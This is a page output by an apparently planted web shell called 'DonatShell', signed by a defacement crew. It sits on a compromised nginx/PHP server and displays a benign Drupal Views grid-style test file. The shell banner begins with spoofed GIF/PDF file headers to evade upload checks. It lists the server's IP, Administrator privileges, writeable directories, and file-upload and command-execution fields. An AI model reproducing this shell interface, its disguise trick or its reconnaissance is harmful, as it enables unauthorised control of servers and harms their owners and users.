GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Tests/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Tests/Plugin/StyleGridTest.php
<?php

namespace Drupal\views\Tests\Plugin;

use Drupal\views\Views;
use Drupal\views\ViewExecutable;

/**
 * Tests the grid style plugin.
 *
 * @group views
 * @see \Drupal\views\Plugin\views\style\Grid
 */
class StyleGridTest extends PluginTestBase {

  /**
   * Views used by this test.
   *
   * @var array
   */
  public static $testViews = ['test_grid'];

  /**
   * Keeps track of which alignments have been tested.
   */
  protected $alignmentsTested = [];

  /**
   * {@inheritdoc}
   */
  protected function setUp() {
    parent::setUp();
    $this->enableViewsTestModule();
  }

  /**
   * Tests the grid style.
   */
  public function testGrid() {
    $view = Views::getView('test_grid');
    foreach (['horizontal', 'vertical'] as $alignment) {
      $this->assertGrid($view, $alignment, 5);
      $this->assertGrid($view, $alignment, 4);
      $this->assertGrid($view, $alignment, 3);
      $this->assertGrid($view, $alignment, 2);
      $this->assertGrid($view, $alignment, 1);
    }

    // Ensure styles are properly added for grid views.
    $this->drupalGet('test-grid');
    $this->assertRaw('stable/css/views/views.module.css');
  }

  /**
   * Generates a grid and asserts that it is displaying correctly.
   *
   * @param \Drupal\views\ViewExecutable $view
   *   The executable to prepare.
   * @param string $alignment
   *   The alignment of the grid to test.
   * @param int $columns
   *   The number of columns in the grid to test.
   */
  protected function assertGrid(ViewExecutable $view, $alignment, $columns) {
    $view->setDisplay('default');
    $view->initStyle();
    $view->initHandlers();
    $view->initQuery();
    $view->style_plugin->options['alignment'] = $alignment;
    $view->style_plugin->options['columns'] = $columns;
    $this->executeView($view);
    $output = $view->preview();
    $output = \Drupal::service('renderer')->renderRoot($output);
    $this->setRawContent($output);
    if (!in_array($alignment, $this->alignmentsTested)) {
      $result = $this->xpath('//div[contains(@class, "views-view-grid") and contains(@class, :alignment) and contains(@class, :columns)]', [':alignment' => $alignment, ':columns' => 'cols-' . $columns]);
      $this->assertTrue(count($result), ucfirst($alignment) . " grid markup detected.");
      $this->alignmentsTested[] = $alignment;
    }
    $width = '0';
    switch ($columns) {
      case 5: $width = '20'; break;
      case 4: $width = '25'; break;
      case 3: $width = '33.3333'; break;
      case 2: $width = '50'; break;
      case 1: $width = '100'; break;
    }
    // Ensure last column exists.
    $result = $this->xpath('//div[contains(@class, "views-col") and contains(@class, :columns) and starts-with(@style, :width)]', [':columns' => 'col-' . $columns, ':width' => 'width: ' . $width]);
    $this->assertTrue(count($result), ucfirst($alignment) . " $columns column grid: last column exists and automatic width calculated correctly.");
    // Ensure no extra columns were generated.
    $result = $this->xpath('//div[contains(@class, "views-col") and contains(@class, :columns)]', [':columns' => 'col-' . ($columns + 1)]);
    $this->assertFalse(count($result), ucfirst($alignment) . " $columns column grid: no extraneous columns exist.");
    // Ensure tokens are being replaced in custom row/column classes.
    $result = $this->xpath('//div[contains(@class, "views-col") and contains(@class, "name-John")]');
    $this->assertTrue(count($result), ucfirst($alignment) . " $columns column grid: Token replacement verified in custom column classes.");
    $result = $this->xpath('//div[contains(@class, "views-row") and contains(@class, "age-25")]');
    $this->assertTrue(count($result), ucfirst($alignment) . " $columns column grid: Token replacement verified in custom row classes.");
  }

}

Anon7 - 2022
AnonSec Team